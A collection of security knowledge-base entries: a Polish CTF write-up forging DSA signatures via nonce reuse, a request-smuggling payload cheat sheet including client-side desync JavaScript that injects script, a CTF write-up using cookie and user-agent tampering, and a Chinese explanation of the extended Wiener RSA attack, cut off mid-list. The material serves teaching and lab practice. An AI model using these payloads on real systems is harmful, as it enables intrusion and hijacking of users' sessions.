5854608817710130372948444562294396040006311067115965740712711205981029362712183315259168783815905208719000197236691607700100836391807927746833977891792631066541406816904680111217125634549418611669208807316369565620310660295144628581977856740654199823679135895590513942858128229967305158632385155587L] ``` Dzięki temu możemy użyć klasycznego RSA dla pierwszego podpisu i multiprime RSA dla drugiego, żeby zdekodować podpisy wysłane przez serwer. Podpis to para `(s,r)` lub jak w naszym przypadku jedna wartość `r*Q + s` którą łatwo rozłożyć na `s` i `r` za pomocą dzielenia i reszty z dzielenia przez `Q`. Bezpośrednio z tego jak liczymy `s` podczas generowania podpisu mamy: ``` s_1 = modinv(k,q) * (H(msg_1) + private_key*r) mod q s_2 = modinv(k,q) * (H(msg_2) + private_key*r) mod q ``` Co można przekształcić do: ``` (s_1 - s_2) modq = (modinv(k,q) * (H(msg_1) + private_key*r) - modinv(k,q) * (H(msg_2) + private_key*r)) modq ``` a następnie uprościć: ``` (s_1 - s_2) modq = modinv(k,q) * (H(msg_1) + private_key*r - H(msg_2) - private_key*r) modq ``` Co pozwala pozbyć się nieznanej części `private_key*r`, zostawiając: ``` (s_1 - s_2) modq = modinv(k,q) * H(msg_1) - H(msg_2) modq ``` A ty samym równanie dla `k` to: ``` k modq = ((H(msg_1) - H(msg_2)) * modinv((s_1 - s_2), q)) modq ``` Mając `k` możemy teraz łatwo wyliczyć `private_key`, znów przekształcając równanie dla `s`: ``` s = modinv(k,q) * (H(msg) + private_key*r) mod q ``` Ponieważ znamy wszystkie parametry możemy przekształcic to do postaci: ``` private_key = ((s * k) - H(m)) * modinv(r, q) ``` I teraz mając wyliczony klucz prywatny możemy podpisać co tylko chcemy. Warto pamiętać, że nie potrzebujemy wartości `SECRET` za pomocą której serwer oblicza wartość `k`. Wartość `k` może być zupełnie dowolna więc możemy napisać: ```python def simple_sign(name, n, priv): k = 5 # why not? ;) r = pow(G, k, P) % Q s = (modinv(k, Q) * (h(makeMsg(name, n)) + priv * r)) % Q return r * Q + s ``` I taka funkcja pozwoli poprawnie podpisywać dane. Obliczamy więc `admin_sig = simple_sign("admin", "1", private_key)`, i logując się tym podpisem dostajemy flagę: `DrgnS{ThisFlagIsNotInterestingJustPasteItIntoTheScoreboard}` Cały skrypt solvera jest [tutaj](solver.py)
sec-knowleage
# Request Smuggling > HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded. ## Summary * [Tools](#tools) * [CL.TE vulnerabilities](#cl.te-vulnerabilities) * [TE.CL vulnerabilities](#te.cl-vulnerabilities) * [TE.TE behavior: obfuscating the TE header](#te.te-behavior-obfuscating-the-te-header) * [References](#references) ## Tools * [HTTP Request Smuggler / BApp Store](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) * [Smuggler](https://github.com/defparam/smuggler) * [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) > this tool does not offer automated exploitation. You have to identify the injection point and exploit it manually! ## About CL.TE | TE.CL Vulnerabilities If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as portswigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`. For that reason you can use the [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) and exploit the CL.TE TE.CL vulnerabilities manually and learn how this vulnerability works and how you can exploit it. This tool offers you only the second request with a valid chunk size(TE.CL) auto-generated but does not offer automated exploitation. You have to identify the injection point and exploit it manually! ## CL.TE vulnerabilities > The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. ```powershell POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED ``` Example: ```powershell POST / HTTP/1.1 Host: domain.example.com Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G ``` Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te ## TE.CL vulnerabilities > The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. ```powershell POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 ``` Example: ```powershell POST / HTTP/1.1 Host: domain.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Content-Length: 4 Connection: close Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 ``` :warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0. Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl ## TE.TE behavior: obfuscating the TE header > The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way. ```powershell Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` Challenge: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header ## HTTP/2 Request Smuggling HTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request. HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2 header ``` :method GET :path / :authority www.example.com header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com ``` Challenge: https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling ## Client-side desync On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg: ``` POST / HTTP/1.1 Host: www.example.com Content-Length: 37 GET / HTTP/1.1 Host: www.example.com ``` could be treated as two requests when it should only be one. When the backend server responds twice, the frontend server will assume only the first response is related to this request. To exploit this, an attacker can use JavaScript to trigger their victim to send a POST to the vulnerable site: ```javascript fetch('https://www.example.com/', {method: 'POST', body: "GET / HTTP/1.1\r\nHost: www.example.com", mode: 'no-cors', credentials: 'include'} ) ``` This could be used to: * get the vulnerable site to store a victim's credentials somewhere the attacker can access it * get the victim to send an exploit to a site (eg for internal sites the attacker cannot access, or to make it harder to attribute the attack) * to get the victim to run arbitrary JavaScript as if it were from the site Eg: ```javascript fetch('https://www.example.com/redirect', { method: 'POST', body: `HEAD /404/ HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`, credentials: 'include', mode: 'cors' // throw an error instead of following redirect }).catch(() => { location = 'https://www.example.com/' }) ``` tells the victim browser to send a POST request to www.example.com/redirect. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to www.example.com. www.example.com now incorrectly processes the HEAD request in the POST's body, instead of the browser's GET request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual GET request. Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script. Challenge: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync ## References * [PortSwigger - Request Smuggling Tutorial](https://portswigger.net/web-security/request-smuggling) and [PortSwigger - Request Smuggling Reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) * [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - 2020, October 16](https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling) * [Advanced Request Smuggling - PortSwigger](https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling) * [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling - James Kettle - 10 August 2022](https://portswigger.net/research/browser-powered-desync-attacks)
sec-knowleage
# Inspector Gadget Category: Web ## Description > [YouTube Video](https://www.youtube.com/watch?v=EcF2LOaLgA0&feature=youtu.be) ## Solution We enter the website and get a simple page with three links: "Home", "About", and "Admin". If we click "Admin", we get redirected back to the index with an error message: "*You're not admin*". Let's check the website cookies: ```console root@kali:/media/sf_CTFs/technion/236927_-_Introduction_to_Robotics# curl http://ctf.cs.technion.ac.il:4009/ -I HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 6444 Set-Cookie: is_admin=0; Path=/ Server: Werkzeug/1.0.1 Python/3.6.1 Date: Fri, 18 Dec 2020 19:53:39 GMT ``` What if we change `is_admin` to `1`? In this case, when we revisit the webpage we get a different message: "*You can see this page only by browsing with InspectorBrowser*". So, let's change the user agent too: ```console root@kali:/media/sf_CTFs/technion/236927_-_Introduction_to_Robotics# curl 'http://ctf.cs.technion.ac.il:4009/admin' -H 'User-Agent: InspectorBrowser' -H 'Cookie: is_admin=1' -s | grep cstechnion <h1> cstechnion{G0_go_6adg3t!} </h1> ```
sec-knowleage
# 扩展维纳攻击 * `扩展维纳攻击`来自[`《Extending Wiener's Attack in the Presence of Many Decrypting Exponents》`](https://www.sci-hub.ren/https://link.springer.com/chapter/10.1007/3-540-46701-7_14),相关题目在CTF中已经出现了,例如2020羊城杯的Simple,但都是一些*模板题*,这里将详细分析原论文中提出的方法以及分析方式,写明扩展维纳攻击原理以及在文末给出了一些**开放问题**欢迎讨论。 ## 原理分析 ### 维纳(Wiener)的方法 * 维纳`Wiener`提出了一种关于私钥过小时对$N$进行分解的一种方式。并给出了证明当 $$ d < \frac{1}{3}N^{\frac{1}{4}} $$ 满足时(还应满足$q < p < 2q$,因这里及后文主要是对私钥进行探讨,故忽略这类条件)一定能够分解$N$。 * 以下为原论文中对于`Wiener's Approach`的部分描述,部分内容有删减,其实这里也就是维纳攻击的证明,所以要想更详细了解请再看维纳攻击的原理,这里我们主要后面要用到这里的`式1`。方法如下 已知 $$ e*d -k*\lambda(N) = 1 $$ 这里$\lambda(N) = lcm(p-1, q-1) = \varphi(N) / g$,令$s = 1-p-q$则有 $$ edg - kN = g + ks\tag{1} $$ 将两边同时除以$dgN$则有 $$ \frac{e}{N} - \frac{k}{dg} = \frac{g+ks}{dgN} = (\frac{k}{dg})(\frac{s}{N}) + \frac{1}{dN} $$ 我们知道这里有$e \approx N, s \approx N^{1/2}$,所以有$k/(dg)\approx 1$。则我们可以知道等式右边约等于$N^{-1/2}$。我们都知道当 $$|x - a/b| < 1/(2b^2)$$ 时则$a/b$是一个$x$连分数近似(`连分数定理Continued Fractions`) 所以当 $$d < \frac{\sqrt{2}}{2g}N^{\frac{1}{4}}$$ 时有$k/dg$是$e/N$的连分数近似,即能通过连分数展开覆盖。 * 注意这里前面所说的范围和后面的范围并不矛盾 这里对一些参数的值的近似并不严格,所以和维纳攻击的严格范围有出入,具体细节可参考维纳攻击的证明。 ### 郭(Guo)的方法 * 郭针对不止一个$e$的情况进行研究,但是郭只研究了两个以及三个$e$的情况,上上节一样,这里我们还是使用原文内容翻译+解释的写法。对于两个$e$的情况,我们可以考虑 $$ e_1d_1g - k_1(p-1)(q-1) = g\\ e_2d_2g - k_2(p-1)(q-1) = g $$ 简单化简可以得到下式子 $$ k_2d_1e_1 - k_1d_2e_2 = k_2 - k_1\tag{2} $$ 两边同时除以$k_2d_1e_2$ $$ \frac{e_1}{e_2} - \frac{k_1d_2}{k_2d_1} = \frac{k_2 - k_1}{k_2d_1e_2} $$ 设$d_i < N^\alpha$,则等式右边约等于$N^{-(1+\alpha)}$ 则当 $$2(k_2d_1)^2 < N^{1+\alpha}$$ 时$k_1d_2/(k_2d_1)$是$e_1/e_2$的连分数近似。当$k_2$和$d_1$最多为$N^\alpha$而且$g$很小时,得到 $$\alpha < 1/3 - \epsilon\ \ \ (\epsilon > 0)$$ * 然而即使我们得到了$(k_1d_2)/(k_2d_1)$还是无法分解$N$,原文后面还讨论了郭的提议,尝试对$k_1d_2$进行分解,这里不再讲解。 ## 扩展维纳攻击 * 上述部分内容截至目前(2021/10)网络上已经有很多博文进行了讲解了分析,但是对于具体扩展维纳攻击的原理以及格构造或者是更高维的推广都没有给出。这里我将详细的对原论文内容进行翻译以及讲解。 * 为了将分析扩展到$n$个加密指数$e_i$(解密指数$d_i$很小),我们同时使用维纳和郭的方法,我们将关系 $$ d_ige_i - k_iN = g + k_is $$ 记为维纳等式$W_i$,同样我们可以得到关系 $$ k_id_je_j - k_jd_ie_i = k_i - k_j $$ 记为郭等式$G_{i,j}$。 我们假设$d_i$和$k_i$都小于$N^{\alpha_n}$,且$g$很小,$s \approx N^{1/2}$。可以注意到$W_i$和$G_i$的右侧非常小,实际上分别最多为$N^{1/2 + \alpha}$和$N^\alpha$。 最后,我们考虑复合关系式比如$W_uG_{v,w}$,显然大小为$N^{1/2 + 2\alpha}$。 * 原文中这里是定义了两个关系式以及指出了他们的大小范围,这个范围很重要也容容易分析处理,之后我们所做的其实就是使用这两个式子的不同复合关系去构造一个格,然后通过求其基向量得到$d_1g/k_1$,从而可以算得$\varphi(N)$并可以进一步的对$N$进行分解。 * 其实到这里原理分析已经结束,关于格的构造其实也并不复杂,但是核心是这里的复合关系的选取,以及对于最后$\alpha$大小的分析。 ## 两个小解密指数的情况 * 我们选取关系$W_1, G_{1,2},W_1W_2$,这样便有 $$ \begin{aligned} d_1ge_1 - k_1N &= g+k_1s\\ k_1d_2e_2 - k_2d_1e_1 &= k_1-k_2\\ d_1d_2g^2e_1e_2 - d_1gk_2e_1N - d_2gk_1e_2N + k_1k_2N^2 &= (g+k_1s)(g+k_2s) \end{aligned} $$ 我们对第一个关系式乘上$k_2$,这样左边便全是由$d_1d_2g^2, d_1gk_2, d_2gk_1$和$k_1k_2$构成,这样我们便可以用已知内容构造格将上述式子转化为矩阵运算 $$ \begin{pmatrix} k_1k_2&d_1gk_2&d_2gk_1&d_1d_2g^2 \end{pmatrix} \begin{pmatrix} 1&-N&0&N^2\\ &e_1&-e_1&-e_1N\\ &&e_2&-e_2N\\ &&&e_1e_2 \end{pmatrix} = \begin{pmatrix} k_1k_2&k_2(g+k_1s)&g(k_1 - k_2)&(g+k_1s)(g+k_2s) \end{pmatrix} $$ 等式右边向量的大小为$N^{2\alpha_2}, N^{1/2+2\alpha_2}, N^{\alpha_2}, N^{1+2\alpha_2}$,为了让大小相等,我们可以考虑构造一个D矩阵。 $$ D = \begin{pmatrix} N&&&\\ &N^{1/2}&&\\ &&N^{1+\alpha_2}&\\ &&&1 \end{pmatrix} $$ 最终我们构造的矩阵为 $$ L_2 = \begin{pmatrix} 1&-N&0&N^2\\ &e_1&-e_1&-e_1N\\ &&e_2&-e_2N\\ &&&e_1e_2 \end{pmatrix} * D $$ 这样向量$b = \begin{pmatrix} k_1k_2&d_1gk_2&d_2gk_1&d_1d_2g^2 \end{pmatrix}$便有 $$ \Vert bL_2 \Vert < 2N^{1+2\alpha_2} $$ 这也就是为什么前面需要构造$D$矩阵的原因,给定$D$矩阵后,我们可以得到一个上界,这样问题可以转化为类SVP问题。 那么这里的b向量其实我们使用格基规约算法例如`LLL`便可以得到基向量$b$,然后我们求解$b_2/b_1$即得到$d_1g/k_1$ 之后我们就可以得到 $$ \varphi(N) = \frac{edg}{k} - \frac{g}{k} = \lfloor edg/k\rceil $$ 我们假设这些格中最短向量长度为$\Delta^{1/4-\epsilon}$,其中$\Delta = det(L_2) = N^{13/2 + \alpha_2}$。如果这些格是随机的,我们甚至几乎可以肯定没有格点比闵可夫斯基界(Minkowski's bound)$2\Delta^{1/4}$,所以$bL_2$是最短向量当 $$ N^{1+2\alpha_2} < (1/c_2)\left(N^{13/2+\alpha_2}\right)^{1/4} $$ 对于一些小的$c_2$,如果有 $$ \alpha_2 < 5/14 - \epsilon^{'} $$ 则我们可以通过格基规约找到向量$b$。 * 上述内容是原文中给出的当两个小解密指数是进行的攻击细节,并且分析了$\alpha$的大小关系。 ## 三个小解密指数的情况 * 对于三个指数的情况我们额外选取$G_{1, 3}, W_1G_{2, 3}, W_2G_{1,3}$ 这样我们的向量b为 $$B = \begin{pmatrix} k_1k_2k_3&d_1gk_2k_3&k_1d_2gk_3&d_1d_2g^2k_3&k_1k_2d_3g&k_1d_3g&k_2d_3g&d_1d_2d_3g^3 \end{pmatrix}$$ 然后我们便可以构造格 $$ L_3 = \left(\begin{array}{rrrrrrrr} 1 & -N & 0 & N^{2} & 0 & 0 & 0 & -N^{3} \\ 0 & e_{1} & -e_{1} & -N e_{1} & -e_{1} & 0 & N e_{1} & N^{2} e_{1} \\ 0 & 0 & e_{2} & -N e_{2} & 0 & N e_{2} & 0 & N^{2} e_{2} \\ 0 & 0 & 0 & e_{1} e_{2} & 0 & -e_{1} e_{2} & -e_{1} e_{2} & -N e_{1} e_{2} \\ 0 & 0 & 0 & 0 & e_{3} & -N e_{3} & -N e_{3} & N^{2} e_{3} \\ 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} & 0 & -N e_{1} e_{3} \\ 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} & -N e_{2} e_{3} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} \end{array}\right) $$ 其中 $$ D = diag(\begin{array}{r} N^{\frac{3}{2}}&N&N^{a + \frac{3}{2}}&\sqrt{N}&N^{a + \frac{3}{2}}&N^{a + 1}&N^{a + 1}&1\end{array}) $$ 同样我们可以得到 $$ \Vert bL_2 \Vert < \sqrt{8}N^{3/2+2\alpha_3} $$ 则当 $$\alpha_3 < 2/5 - \epsilon^{'}$$ 时可以通过格基规约求出向量$b$。 ## 四个小解密指数的情况 * 额外选取$G_{1, 4}, W_1G_{2, 4}, G_{1, 2}G_{3,4}, G_{1, 3}G_{2, 4}, W_1W_2G_{3, 4}, W_1W_3G_{2, 4}, W_2W_3G_{1, 4}, W_1W_2W_3W_4$进行构造。不再翻译。 ## 分析 * 扩展维纳攻击结合上述三个例子已经详细的阐明了方法细节,但是其中没有讲解如何选取复合关系。其实在原文的附录中给出了复合关系的选取,以及给出了$\alpha_n$的表达式。 * 在原文附录部分,考虑$n$个指数$e_i$,这样则有$2^n$个不同的量$h_j$(一个表达式$e_i$的个数),这样我们的$L_n$在乘上$D$之前,矩阵$L_n$的行列式为$N^{n2^{n-1}}$ 这样最后一个关系$W_1W_2\dots W_n$最大为$N^{n/2 + n\alpha_n}$,这样我们便知道了任意情况的最大界值,我们只需要让其他值增加到这么多即可(即构造$D$矩阵) 引入了新的关系式 $$ R_{u,v} = W_{i_1}\dots W_{i_u}G_{j_1, l_1}\dots G_{j_v, l_v} $$ 其中$i_1,\dots,i_u,j_1,\dots,j_u,l_1,\dots,l_v$都不同,那么这里最多会有$u + 2v$个指数$e_i$,则我们的关系$R_{u,v}$最多为$N^{u/2 + (u+v)\alpha_n}$,同时注意我要需要所有系数的大小大致相同,所以我们在某些等式乘上$k_i$,使得关系$R_{u, v} = N^{u/2 + (n-v)\alpha_n}$。 最后我们再计算所有的大小与最大大小$N^{n/2 + n\alpha_n}$的差值,构造矩阵$D$。 这样我们便完成了矩阵$D$的构造,同时设矩阵$D$里面指数的乘积为$\beta_n = x+y\alpha_n$,这样有 $$ det(L_n) \approx N^{n2^{n-1} + x + y\alpha_n} $$ 则有 $$ N^{n/2 + n\alpha_n} < (1/c_n)\left(N^{n2^{n-1} + x + y\alpha_n}\right)^{1/2^n} $$ 对于小$c_n$,有 $$ \alpha_n < \frac{x}{n2^n - y} - \epsilon^{'} $$ 所以我们要想让$\alpha_n$更大就需要让$x$和$y$更大,这意味着我们要选取更多的$v$和更小的$u$。比如在$n=2$的情况我们选取$W_1, G_{1, 2}, W_1W_2$而不是$W_1, W_2, W_1W_2$因为前者$\beta_2 = 5/2 + \alpha$而后者$\beta_2 = 2$。 * 到这里,其实已经讲清楚了扩展维纳攻击的整个流程,如何选择复合关系,如何构造格,如何构造矩阵$D$以及如何求解。在原文的文末也给出了$n\le 5$时候的选择关系表。 这里我也给出$n\le8$的选择关系以及$n=6$时候构造的矩阵以供验证自己是否能够编写出选择关系式的逻辑代码。 ```txt - W(1) G(1, 2) W(1)W(2) G(1, 3) W(1)G(2, 3) W(2)G(1, 3) W(1)W(2)W(3) G(1, 4) W(1)G(2, 4) G(1, 2)G(3, 4) G(1, 3)G(2, 4) W(1)W(2)G(3, 4) W(1)W(3)G(2, 4) W(2)W(3)G(1, 4) W(1)W(2)W(3)W(4) G(1, 5) W(1)G(2, 5) G(1, 2)G(3, 5) G(1, 3)G(2, 5) G(1, 4)G(2, 5) W(1)W(2)G(3, 5) W(1)G(2, 3)G(4, 5) W(1)G(2, 4)G(3, 5) W(2)G(1, 3)G(4, 5) W(2)G(1, 4)G(3, 5) W(3)G(1, 4)G(2, 5) W(1)W(2)W(3)G(4, 5) W(1)W(2)W(4)G(3, 5) W(1)W(3)W(4)G(2, 5) W(2)W(3)W(4)G(1, 5) W(1)W(2)W(3)W(4)W(5) G(1, 6) W(1)G(2, 6) G(1, 2)G(3, 6) G(1, 3)G(2, 6) G(1, 4)G(2, 6) G(1, 5)G(2, 6) W(1)W(2)G(3, 6) W(1)G(2, 3)G(4, 6) W(1)G(2, 4)G(3, 6) W(1)G(2, 5)G(3, 6) G(1, 2)W(3)G(4, 6) G(1, 2)G(3, 4)G(5, 6) G(1, 2)G(3, 5)G(4, 6) G(1, 3)G(2, 4)G(5, 6) G(1, 3)G(2, 5)G(4, 6) G(1, 4)G(2, 5)G(3, 6) W(1)W(2)W(3)G(4, 6) W(1)W(2)G(3, 4)G(5, 6) W(1)W(2)G(3, 5)G(4, 6) W(1)W(3)G(2, 4)G(5, 6) W(1)W(3)G(2, 5)G(4, 6) W(1)W(4)G(2, 5)G(3, 6) W(2)W(3)G(1, 4)G(5, 6) W(2)W(3)G(1, 5)G(4, 6) W(2)W(4)G(1, 5)G(3, 6) W(3)W(4)G(1, 5)G(2, 6) W(1)W(2)W(3)W(4)G(5, 6) W(1)W(2)W(3)W(5)G(4, 6) W(1)W(2)W(4)W(5)G(3, 6) W(1)W(3)W(4)W(5)G(2, 6) W(2)W(3)W(4)W(5)G(1, 6) W(1)W(2)W(3)W(4)W(5)W(6) G(1, 7) W(1)G(2, 7) G(1, 2)G(3, 7) G(1, 3)G(2, 7) G(1, 4)G(2, 7) G(1, 5)G(2, 7) G(1, 6)G(2, 7) W(1)W(2)G(3, 7) W(1)G(2, 3)G(4, 7) W(1)G(2, 4)G(3, 7) W(1)G(2, 5)G(3, 7) W(1)G(2, 6)G(3, 7) G(1, 2)W(3)G(4, 7) G(1, 2)G(3, 4)G(5, 7) G(1, 2)G(3, 5)G(4, 7) G(1, 2)G(3, 6)G(4, 7) G(1, 3)G(2, 4)G(5, 7) G(1, 3)G(2, 5)G(4, 7) G(1, 3)G(2, 6)G(4, 7) G(1, 4)G(2, 5)G(3, 7) G(1, 4)G(2, 6)G(3, 7) G(1, 5)G(2, 6)G(3, 7) W(1)W(2)W(3)G(4, 7) W(1)W(2)G(3, 4)G(5, 7) W(1)W(2)G(3, 5)G(4, 7) W(1)W(2)G(3, 6)G(4, 7) W(1)G(2, 3)W(4)G(5, 7) W(1)G(2, 3)G(4, 5)G(6, 7) W(1)G(2, 3)G(4, 6)G(5, 7) W(1)G(2, 4)G(3, 5)G(6, 7) W(1)G(2, 4)G(3, 6)G(5, 7) W(1)G(2, 5)G(3, 6)G(4, 7) W(2)G(1, 3)W(4)G(5, 7) W(2)G(1, 3)G(4, 5)G(6, 7) W(2)G(1, 3)G(4, 6)G(5, 7) W(2)G(1, 4)G(3, 5)G(6, 7) W(2)G(1, 4)G(3, 6)G(5, 7) W(2)G(1, 5)G(3, 6)G(4, 7) W(3)G(1, 4)G(2, 5)G(6, 7) W(3)G(1, 4)G(2, 6)G(5, 7) W(3)G(1, 5)G(2, 6)G(4, 7) W(4)G(1, 5)G(2, 6)G(3, 7) W(1)W(2)W(3)W(4)G(5, 7) W(1)W(2)W(3)G(4, 5)G(6, 7) W(1)W(2)W(3)G(4, 6)G(5, 7) W(1)W(2)W(4)G(3, 5)G(6, 7) W(1)W(2)W(4)G(3, 6)G(5, 7) W(1)W(2)W(5)G(3, 6)G(4, 7) W(1)W(3)W(4)G(2, 5)G(6, 7) W(1)W(3)W(4)G(2, 6)G(5, 7) W(1)W(3)W(5)G(2, 6)G(4, 7) W(1)W(4)W(5)G(2, 6)G(3, 7) W(2)W(3)W(4)G(1, 5)G(6, 7) W(2)W(3)W(4)G(1, 6)G(5, 7) W(2)W(3)W(5)G(1, 6)G(4, 7) W(2)W(4)W(5)G(1, 6)G(3, 7) W(3)W(4)W(5)G(1, 6)G(2, 7) W(1)W(2)W(3)W(4)W(5)G(6, 7) W(1)W(2)W(3)W(4)W(6)G(5, 7) W(1)W(2)W(3)W(5)W(6)G(4, 7) W(1)W(2)W(4)W(5)W(6)G(3, 7) W(1)W(3)W(4)W(5)W(6)G(2, 7) W(2)W(3)W(4)W(5)W(6)G(1, 7) W(1)W(2)W(3)W(4)W(5)W(6)W(7) G(1, 8) W(1)G(2, 8) G(1, 2)G(3, 8) G(1, 3)G(2, 8) G(1, 4)G(2, 8) G(1, 5)G(2, 8) G(1, 6)G(2, 8) G(1, 7)G(2, 8) W(1)W(2)G(3, 8) W(1)G(2, 3)G(4, 8) W(1)G(2, 4)G(3, 8) W(1)G(2, 5)G(3, 8) W(1)G(2, 6)G(3, 8) W(1)G(2, 7)G(3, 8) G(1, 2)W(3)G(4, 8) G(1, 2)G(3, 4)G(5, 8) G(1, 2)G(3, 5)G(4, 8) G(1, 2)G(3, 6)G(4, 8) G(1, 2)G(3, 7)G(4, 8) G(1, 3)G(2, 4)G(5, 8) G(1, 3)G(2, 5)G(4, 8) G(1, 3)G(2, 6)G(4, 8) G(1, 3)G(2, 7)G(4, 8) G(1, 4)G(2, 5)G(3, 8) G(1, 4)G(2, 6)G(3, 8) G(1, 4)G(2, 7)G(3, 8) G(1, 5)G(2, 6)G(3, 8) G(1, 5)G(2, 7)G(3, 8) G(1, 6)G(2, 7)G(3, 8) W(1)W(2)W(3)G(4, 8) W(1)W(2)G(3, 4)G(5, 8) W(1)W(2)G(3, 5)G(4, 8) W(1)W(2)G(3, 6)G(4, 8) W(1)W(2)G(3, 7)G(4, 8) W(1)G(2, 3)W(4)G(5, 8) W(1)G(2, 3)G(4, 5)G(6, 8) W(1)G(2, 3)G(4, 6)G(5, 8) W(1)G(2, 3)G(4, 7)G(5, 8) W(1)G(2, 4)G(3, 5)G(6, 8) W(1)G(2, 4)G(3, 6)G(5, 8) W(1)G(2, 4)G(3, 7)G(5, 8) W(1)G(2, 5)G(3, 6)G(4, 8) W(1)G(2, 5)G(3, 7)G(4, 8) W(1)G(2, 6)G(3, 7)G(4, 8) G(1, 2)W(3)W(4)G(5, 8) G(1, 2)W(3)G(4, 5)G(6, 8) G(1, 2)W(3)G(4, 6)G(5, 8) G(1, 2)W(3)G(4, 7)G(5, 8) G(1, 2)G(3, 4)W(5)G(6, 8) G(1, 2)G(3, 4)G(5, 6)G(7, 8) G(1, 2)G(3, 4)G(5, 7)G(6, 8) G(1, 2)G(3, 5)G(4, 6)G(7, 8) G(1, 2)G(3, 5)G(4, 7)G(6, 8) G(1, 2)G(3, 6)G(4, 7)G(5, 8) G(1, 3)G(2, 4)W(5)G(6, 8) G(1, 3)G(2, 4)G(5, 6)G(7, 8) G(1, 3)G(2, 4)G(5, 7)G(6, 8) G(1, 3)G(2, 5)G(4, 6)G(7, 8) G(1, 3)G(2, 5)G(4, 7)G(6, 8) G(1, 3)G(2, 6)G(4, 7)G(5, 8) G(1, 4)G(2, 5)G(3, 6)G(7, 8) G(1, 4)G(2, 5)G(3, 7)G(6, 8) G(1, 4)G(2, 6)G(3, 7)G(5, 8) G(1, 5)G(2, 6)G(3, 7)G(4, 8) W(1)W(2)W(3)W(4)G(5, 8) W(1)W(2)W(3)G(4, 5)G(6, 8) W(1)W(2)W(3)G(4, 6)G(5, 8) W(1)W(2)W(3)G(4, 7)G(5, 8) W(1)W(2)G(3, 4)W(5)G(6, 8) W(1)W(2)G(3, 4)G(5, 6)G(7, 8) W(1)W(2)G(3, 4)G(5, 7)G(6, 8) W(1)W(2)G(3, 5)G(4, 6)G(7, 8) W(1)W(2)G(3, 5)G(4, 7)G(6, 8) W(1)W(2)G(3, 6)G(4, 7)G(5, 8) W(1)W(3)G(2, 4)W(5)G(6, 8) W(1)W(3)G(2, 4)G(5, 6)G(7, 8) W(1)W(3)G(2, 4)G(5, 7)G(6, 8) W(1)W(3)G(2, 5)G(4, 6)G(7, 8) W(1)W(3)G(2, 5)G(4, 7)G(6, 8) W(1)W(3)G(2, 6)G(4, 7)G(5, 8) W(1)W(4)G(2, 5)G(3, 6)G(7, 8) W(1)W(4)G(2, 5)G(3, 7)G(6, 8) W(1)W(4)G(2, 6)G(3, 7)G(5, 8) W(1)W(5)G(2, 6)G(3, 7)G(4, 8) W(2)W(3)G(1, 4)W(5)G(6, 8) W(2)W(3)G(1, 4)G(5, 6)G(7, 8) W(2)W(3)G(1, 4)G(5, 7)G(6, 8) W(2)W(3)G(1, 5)G(4, 6)G(7, 8) W(2)W(3)G(1, 5)G(4, 7)G(6, 8) W(2)W(3)G(1, 6)G(4, 7)G(5, 8) W(2)W(4)G(1, 5)G(3, 6)G(7, 8) W(2)W(4)G(1, 5)G(3, 7)G(6, 8) W(2)W(4)G(1, 6)G(3, 